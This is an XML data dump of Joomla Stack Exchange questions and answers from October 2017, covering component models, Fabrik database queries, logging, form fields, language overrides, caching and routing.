  <row Id="21764" PostTypeId="1" AcceptedAnswerId="21765" CreationDate="2017-10-20T20:42:34.850" Score="1" ViewCount="1287" Body="&lt;p&gt;I am trying this code in my module but getting error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.component.model');&#xA;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_idlmessaging/models','IdlmessagingModel');&#xA;$questionmodel = JModelLegacy::getInstance('Question', 'IdlmessagingModel');&#xA;$questionid = '2'; //We used here '1' article id&#xA;$question= $questionmodel-&amp;gt;getData($questionid );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt; &quot;Call to a member function getData on boolean&quot;&lt;/p&gt;&#xA;" OwnerUserId="11691" LastEditorUserId="1520" LastEditDate="2017-10-21T08:11:42.253" LastActivityDate="2017-10-21T14:47:53.360" Title="JModelLegacy::getInstance error Call to a member function on boolean" Tags="|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21765" PostTypeId="2" ParentId="21764" CreationDate="2017-10-21T14:47:53.360" Score="2" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('question', JPATH_ROOT.'/components/com_idlmessaging/models');&#xA;$questionmodel = JModelLegacy::getInstance('Question', 'IdlmessagingModel');&#xA;$questionid = '2'; //We used here '1' article id&#xA;$question= $questionmodel-&amp;gt;getData($questionid );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-10-21T14:47:53.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21767" PostTypeId="1" CreationDate="2017-10-22T13:32:52.563" Score="0" ViewCount="1343" Body="&lt;p&gt;I have two separate databases with the same credentials: in db1.table1 there is a column containing filepaths that I need to update with a filename that is stored in db2.table2 and that I can retrieve using an ID from a a Joomla Fabrik form input.&#xA;The form on submission store an ID to db1.table1 and also run a form php plugin with the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$galleryId = '{id_element_name_raw}';&#xA;&#xA;if (!empty($galleryId)) {&#xA;   $myDb = JFactory::getDbo();&#xA;   $myQuery = &quot;&#xA;      UPDATE db1.table1&#xA;      SET db1.table1.path =&#xA;        CONCAT('/filepath/', db2.tabele2.imgfilename)&#xA;      WHERE db2.table2.id = '$galleryId'&#xA;&quot;;&#xA;   $myDb-&amp;gt;setQuery($myQuery);&#xA;   $myDb-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;id_element_name_raw&lt;/code&gt; is the ID full element name, &lt;code&gt;galleryID&lt;/code&gt; is the image ref number in db2 that user is setting in db1 to make the join. The form is stored in db2 (joomla system db).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code should set on db1.table1.filepath the filepath build from filename contanined in db1.table1 and retrieved with ID.&#xA;When I submit the form there isn't any change in filepath column in db1.table1 as I'm expecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips to make it work?&lt;/p&gt;&#xA;" OwnerUserId="11694" LastActivityDate="2018-08-22T19:01:08.907" Title="Fabrik Cross database joins" Tags="|php|mysql|fabrik|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21768" PostTypeId="2" ParentId="7286" CreationDate="2017-10-23T12:13:29.877" Score="0" Body="&lt;p&gt;I've been updating the &lt;a href=&quot;https://docs.joomla.org/Using_JLog&quot; rel=&quot;nofollow noreferrer&quot;&gt;JLog Documentation&lt;/a&gt; page referred to above, to (hopefully) make it accurate. So if anyone who's watching this question could check it out and raise any problems (as comments on this answer), then that would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regard to the specific question, I've got Joomla 3.7 running and it has core code in libraries/cms.php which sets up a logger to the 'messagequeue':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLog::addLogger(array('logger' =&amp;gt; 'messagequeue'), JLog::ALL, array('jerror'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then anything with a category of 'jerror' gets copied to this logger, which then displays the message to the user via the &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As regards getting a change to the Joomla documentation, you should sign up to contributing to joomla documentation (eg &lt;a href=&quot;https://docs.joomla.org/JDOC:How_to_Contribute_to_Joomla!_Documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to Contribute to Joomla Documentation&lt;/a&gt;, and then either mark the page as needing attention (plus the reason), or you can also just fix it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think in this case, that the documentation was correct, and that it was a temporary bug in the code, as described in &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/8094&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla issue re JLog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2017-10-24T18:41:57.367" LastActivityDate="2017-10-24T18:41:57.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21769" PostTypeId="1" AcceptedAnswerId="21773" CreationDate="2017-10-23T13:49:19.870" Score="1" ViewCount="65" Body="&lt;p&gt;I am following along the helloworld videos/tutorials on the joomla site and figured I would try displaying a table of numbers. &#xA;I have been successful displaying the table as a whole but I would like to select several rows that are unique and can't sort our the proper way to get them to display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to display the data I am using the following and it works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;&amp;lt;tr class=&quot;row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;&amp;lt;?php echo $item-&amp;gt;startdate; ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;&amp;lt;?php echo $item-&amp;gt;enddate; ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The table has 4 fields (besides all the usual joomla fields) &quot;startdate, enddate, surname, special&quot; of the 30 or so records 5 or 6 have a text note in the &quot;special&quot; field, is it possible to only display those rows? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&#xA;Steve&lt;/p&gt;&#xA;" OwnerUserId="11698" LastActivityDate="2017-10-23T23:19:21.583" Title="looping thru an array, trying to select a unique row" Tags="|joomla-3.x|component|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21770" PostTypeId="1" CreationDate="2017-10-23T16:36:24.940" Score="1" ViewCount="233" Body="&lt;p&gt;I'm getting this error when I try to save new category. However, the category is created after I refresh listing. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call to undefined method Joomla\CMS\Application\AdministratorApplication::getParams() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla version 3.8.1&#xA;PhP 7.0&#xA;All extensions are up-to-date and I disabled any that are not specifically joomla 3.8 compliant&#xA;Also running civicrm 4.7.25&lt;/p&gt;&#xA;" OwnerUserId="6897" LastActivityDate="2017-10-30T17:41:40.223" Title="Error on save of articles and categories" Tags="|extensions|category|joomla3.8|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21773" PostTypeId="2" ParentId="21769" CreationDate="2017-10-23T23:19:21.583" Score="0" Body="&lt;p&gt;Are these records with the text note the only records that have data in the special field? Not knowing what could potentially be in the special field, it is hard to determine a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 1&lt;/strong&gt;&#xA;If the special field is empty apart from the records with the text note, then you could put a filter in your query, something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WHERE special != &quot;&quot;&#xA;// Write the query appropriately&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 2&lt;/strong&gt;&#xA;If the special field can have different text notes and you only want to display select records, you can simply add an if statement&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;if ($item-&amp;gt;special == &quot;special text note&quot;) {&#xA;  &amp;lt;tr class=&quot;row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;  &amp;lt;td&amp;gt;&#xA;  &amp;lt;?php echo $item-&amp;gt;startdate; ?&amp;gt;&#xA;  &amp;lt;/td&amp;gt;&#xA;  &amp;lt;td&amp;gt;&#xA;  &amp;lt;?php echo $item-&amp;gt;enddate; ?&amp;gt;&#xA;  &amp;lt;/td&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9575" LastActivityDate="2017-10-23T23:19:21.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21774" PostTypeId="1" AcceptedAnswerId="21776" CreationDate="2017-10-24T06:10:03.107" Score="2" ViewCount="81" Body="&lt;p&gt;To elaborate:&#xA;The component's configuration is supposed to show a field where i choose which usergroup gets access to a certain view. The fieldtype used is 'usergrouplist'. I've also tried 'usergroups' previously(only to end up at the same result).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've check the same thing is there in com_users but it shows a label while mine doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I get this field to show a label?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The code:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset&#xA;    name=&quot;permissions&quot;&#xA;    label=&quot;COM_PLACEHOLDER_DICTIONARY_PERMISSIONS&quot;&#xA;    description=&quot;COM_PLACEHOLDER_CONFIG_DESC_PERMS&quot;&#xA;&amp;gt;&#xA;    &amp;lt;field name=&quot;view_access&quot; type=&quot;usergrouplist&quot;&#xA;        label=&quot;COM_PLACEHOLDER_CONFIG_VIEWACCESS_LABEL&quot;&#xA;        description=&quot;COM_PLACEHOLDER_CONFIG_VIEWACCESS_DESC&quot;&#xA;        default=&quot;1&quot; checksuperusergroup=&quot;1&quot;/&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Notice how it doesn't show a 'Label' for the field.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ukzDA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukzDA.png&quot; alt=&quot;Notice how the &amp;#39;label&amp;#39; part of the field isn&amp;#39;t there&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11490" LastActivityDate="2017-10-31T01:48:08.667" Title="Why doesn't this 'usergrouplist' field show a label?" Tags="|user-groups|fields|component-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21775" PostTypeId="1" CreationDate="2017-10-24T06:37:07.560" Score="2" ViewCount="1160" Body="&lt;p&gt;I have googled a lot about my problem and I didn't find a solution. I'm creating a website using Joomla that supports English and Dutch languages. I followed online tutorials and I created 2 menus (separate from my main menu) that contain only the &lt;code&gt;Home&lt;/code&gt; menu item which is set to default page for the language ( 1 for Dutch and 1 for English). The problem is when I'm at my homepage ( &lt;code&gt;index.php/en&lt;/code&gt; or &lt;code&gt;index.php/nl&lt;/code&gt;) the &lt;code&gt;Home&lt;/code&gt; menu item doesnt get the &lt;code&gt;&quot;active&quot;&lt;/code&gt; class so it is not highlighted. I could use JS to invent a hacky way to highlight it but I am sure that I am doing something wrong and there should be a better way to fix my problem. How should I set up my menus so it works as intended?&lt;/p&gt;&#xA;" OwnerUserId="11652" LastActivityDate="2018-08-10T00:01:30.270" Title="Joomla home page menu item doesn't get the &quot;active&quot; class" Tags="|joomla-3.x|module|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21776" PostTypeId="2" ParentId="21774" CreationDate="2017-10-24T07:58:49.293" Score="1" Body="&lt;p&gt;It worked after I uninstalled and reinstalled the component. So apparently there's nothing wrong with the code.&lt;/p&gt;&#xA;" OwnerUserId="11490" LastEditorUserId="11490" LastEditDate="2017-10-31T01:48:08.667" LastActivityDate="2017-10-31T01:48:08.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21777" PostTypeId="2" ParentId="21774" CreationDate="2017-10-24T08:00:05.153" Score="1" Body="&lt;p&gt;The problem is likely in your view. What do you get when you print something like the following in your view?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('view_access'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-24T08:00:05.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21778" PostTypeId="1" AcceptedAnswerId="21779" CreationDate="2017-10-24T08:48:59.820" Score="2" ViewCount="126" Body="&lt;p&gt;I am using Joomla 3.8.0, and I have made an override for the mod_articles_archived module. For some reason it doesnt read the override? I have the following map structure now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;templates/mytemplate/html/mod_articles_archive/helper.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="11701" LastActivityDate="2017-10-24T09:14:53.963" Title="Mod articles archived override not working?" Tags="|module|articles|overrides|template-override|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21779" PostTypeId="2" ParentId="21778" CreationDate="2017-10-24T09:14:53.963" Score="1" Body="&lt;p&gt;Ah right, now that I know what you wish to achieve, this is a very simple task that doesn't require any code changes :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This text you want to change derives from a language string:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MOD_ARTICLES_ARCHIVE_DATE=&quot;%1$s, %2$s&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;%1$s&lt;/code&gt; is the month, and &lt;code&gt;%2$s&lt;/code&gt; is the year.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Solution:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In you Joomla backend, go to: &lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Language&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Overrides&lt;/strong&gt; &gt;&gt; &lt;strong&gt;New&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;Language Constant&lt;/strong&gt; field, add &lt;code&gt;MOD_ARTICLES_ARCHIVE_DATE&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;Value&lt;/strong&gt; field, add &lt;code&gt;%2$s&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Screenshot:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mewoY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mewoY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Result:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1a3ud.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1a3ud.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-10-24T09:14:53.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21780" PostTypeId="1" AcceptedAnswerId="21786" CreationDate="2017-10-24T10:38:57.003" Score="3" ViewCount="1511" Body="&lt;p&gt;I'm trying to pre-select several options in a custom form field. I created a new JFormField which extends JFormFieldList and gets its values from my database. This is my current code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getOptions()&#xA;{&#xA;    $app   = JFactory::getApplication();&#xA;    $cid   = $app-&amp;gt;input-&amp;gt;get('cid' , null);&#xA;    $db    = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('cs.id, cs.name');&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__asdasd', 'cs'));&#xA;    $db-&amp;gt;setQuery((string) $query);&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;&#xA;    $options  = array();&#xA;    if ($results)&#xA;    {&#xA;        foreach ($results as $result)&#xA;        {&#xA;            $options[] = JHtmlSelect::Option($result-&amp;gt;id, $result-&amp;gt;name);&#xA;        }&#xA;    }&#xA;&#xA;    // Merge any additional options in the XML definition.&#xA;    $options = array_merge(parent::getOptions(), $options);&#xA;&#xA;    return $options;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works perfectly, however I can't figure out how to preselect some of the entries. Basically, I just want to add &quot;selected=selected&quot; to some of the options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue how I can get this to work? I already read the API Documentation, however I find it to be confusing (&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtmlSelect.html#method_option&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JHtmlSelect.html#method_option&lt;/a&gt;). Is &lt;code&gt;$optKey&lt;/code&gt; the Argument I'm looking for? If this is the case, what attributes do I have to pass in order for it to work?&lt;/p&gt;&#xA;" OwnerUserId="11702" LastEditorUserId="12352" LastEditDate="2019-01-27T11:54:28.737" LastActivityDate="2019-01-27T11:54:28.737" Title="How to select predefined options in an custom form list-field?" Tags="|jform|custom-field|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21781" PostTypeId="1" AcceptedAnswerId="21785" CreationDate="2017-10-24T13:24:36.190" Score="3" ViewCount="102" Body="&lt;p&gt;I've just created an RSS feed view format for one of the views in my component. This is contained in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components/com_mycomponent/views/myview/view.rss.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd now like to allow access to this via short url &lt;code&gt;/rss&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating a hidden menu item for it with an alias of 'rss'. However, I don't know of a way to create a menu item for an alternate view format other than using an External URL menu type (under System Links), and such menu items are not accessible via their alias as far as I can determine. Is there some other way of achieving this?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2017-10-24T20:22:30.583" Title="Create alias for alternate view format" Tags="|view|alias|format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21782" PostTypeId="1" AcceptedAnswerId="21783" CreationDate="2017-10-24T14:59:29.980" Score="2" ViewCount="346" Body="&lt;p&gt;On on of the Joomla sites I manage, the Cache Settings in Global Configuration -&gt; System is set to &lt;strong&gt;OFF - Caching is disabled&lt;/strong&gt;. However, when we make changes to the articles, it is necessary to go to System -&gt; Clear Cache and and delete the cached files before the changes will show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had turned the caching on and then back off earlier and that might have something to do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting I missed somewhere?&lt;/p&gt;&#xA;" OwnerUserId="11624" LastEditorUserId="11624" LastEditDate="2017-10-24T16:04:01.347" LastActivityDate="2017-10-25T01:16:44.160" Title="Having to clear the cache even though caching is turned off?" Tags="|joomla-3.x|cache|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21783" PostTypeId="2" ParentId="21782" CreationDate="2017-10-24T15:21:45.450" Score="4" Body="&lt;p&gt;I did a little more research and fixed this by editing the configuration.php file. Specifically, I changed the &lt;code&gt;$cache_handler&lt;/code&gt; from &lt;code&gt;'file'&lt;/code&gt; to &lt;code&gt;''&lt;/code&gt;. I still don't know why this works, but can confirm that the issue went away and I don't have to manually clear the cache anymore.&lt;/p&gt;&#xA;" OwnerUserId="11624" LastActivityDate="2017-10-24T15:21:45.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21785" PostTypeId="2" ParentId="21781" CreationDate="2017-10-24T19:17:58.083" Score="2" Body="&lt;p&gt;You could accomplish this in your component's route.php file. The particulars would depend on how your routing in route.php is done so I can't give you an exact answer but I think you'd need to update your parse() method to include something like this the beginning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function parse(&amp;amp;$segments)&#xA;{&#xA;    if(count($segments)==1 &amp;amp;&amp;amp; $segments[0]=='rss')&#xA;    {&#xA;        $item = $this-&amp;gt;menu-&amp;gt;getActive();&#xA;        $vars = $item-&amp;gt;query;&#xA;        $vars['format'] = 'feed';&#xA;        $vars['type'] = 'rss';&#xA;        return $vars;&#xA;    }&#xA;&#xA;    [...]&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you're essentially trying to do is look for a &quot;/rss&quot; segment in the URL and, when found, setting the format and type variables so that route/request is executed. In other words, you're making /rss and alias for ?format=feed&amp;amp;type=rss on whatever URL you add /rss to for that component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-10-24T20:22:30.583" LastActivityDate="2017-10-24T20:22:30.583" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21786" PostTypeId="2" ParentId="21780" CreationDate="2017-10-24T23:39:07.187" Score="2" Body="&lt;p&gt;I had to do the same thing. I copied the list form field code and changed it accordingly, so I have 2 functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;getInput()&lt;/li&gt;&#xA;&lt;li&gt;getOptions() which you have&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the getInput function, that's what actually creates the list. You'll see a line like the following (the genericlist is also stated in the page you linked to):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$html[] = JHtml::_('select.genericlist', $options, $this-&amp;gt;name, trim($attr), 'value', 'text', $selected, $this-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The important argument here is $selected. $selected is an array populated from a query I perform finding all the values that are selected depending on the item selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, $selected should be an array you pass to the genericlist generation to tell it which values should be selected.&lt;/p&gt;&#xA;" OwnerUserId="9575" LastActivityDate="2017-10-24T23:39:07.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21787" PostTypeId="2" ParentId="21782" CreationDate="2017-10-25T01:16:44.160" Score="1" Body="&lt;p&gt;Cache Cleaner from Regular Labs does the job perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not using any cache is very bad for the performance - SEO and the users. &lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2017-10-25T01:16:44.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21790" PostTypeId="2" ParentId="2471" CreationDate="2017-10-25T21:18:09.680" Score="3" Body="&lt;p&gt;Although this is an old question, it might be helpful to others. Here is the insert by select query using JDatabase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build some select query using &lt;code&gt;JDatabase&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querySelect = $db-&amp;gt;getQuery(true)&#xA;  -&amp;gt;select('id, title')&#xA;  -&amp;gt;from('sometable');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now your insert query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$queryInsert = $db-&amp;gt;getQuery(true)&#xA;  -&amp;gt;insert('anothertable')&#xA;  -&amp;gt;columns($db-&amp;gt;qn(array('id','title')))&#xA;  -&amp;gt;values($querySelect)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-10-25T21:18:09.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21791" PostTypeId="1" CreationDate="2017-10-26T14:26:32.493" Score="4" ViewCount="221" Body="&lt;p&gt;&lt;strong&gt;Overview:&lt;/strong&gt; I have a single Joomla website that have various copies of the database tables all in the same database, but with different table prefixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on which user is accessing the site, i need to alter which joomla table prefix is used in order to display the relevant tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has to be site wide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; with a core code hack i can alter the prefix as needed, but would prefer this as a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the plugin i can get the prefix, using $db-&gt;getPrefix(), and i can set an immediate instance of the connection using $db = JDatabaseDriver::getInstance( $option ). But this is not site wide and is overwritten by the standard $db = JFactory::getDbo().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i need a system plugin that will replace every instance of a table prefix as it is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="11710" LastActivityDate="2017-10-27T13:14:53.960" Title="Joomla plugin to override table prefix" Tags="|joomla-3.x|mysql|jdatabase|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21792" PostTypeId="2" ParentId="9605" CreationDate="2017-10-26T14:34:44.530" Score="1" Body="&lt;p&gt;You can also create a view, in my case named &quot;ajax&quot;. All you need to do is create a directory 'ajax' in the view directory. Inside this dir put in the view.html.php containing the display class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($tpl = null)    {&#xA;        //Get post data&#xA;        $input = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;        //do whatever you want to to&#xA;&#xA;        echo json_encode($returnData);&#xA;        exit;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is important to set the exit; command, which prevents getting template html inside your request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside your jQuery script, call this view with post data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var post_vars = new Array();&#xA;post_vars.push({name:'somevar', value:'somevalue'});&#xA;&#xA;var data = jQuery.post('index.php?option=com_mycomponent&amp;amp;view=ajax', post_vars);&#xA;data.done(function(reply_data) {&#xA;  var response_json = jQuery.parseJSON(reply_data);&#xA;  //do whatever you want&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11711" LastActivityDate="2017-10-26T14:34:44.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21793" PostTypeId="2" ParentId="21791" CreationDate="2017-10-26T15:46:56.723" Score="0" Body="&lt;p&gt;I guess the only way to do it is to add your custom &lt;code&gt;class JDatabaseDriverCustom extends JDatabaseDriverMySql&lt;/code&gt; for example and there you'll be able to go with a few options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;write user-depended logic right inside of the driver;&lt;/li&gt;&#xA;&lt;li&gt;call some function that you will write in another place;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyway, think about: do you really need the site to depend on the user, or on something like IP or anything not related to Joomla. This way you'll be able to write &lt;code&gt;__constructor()&lt;/code&gt; inside your config file and place the logic right there and change &lt;code&gt;$this-&amp;gt;db_prefix&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-10-26T15:46:56.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
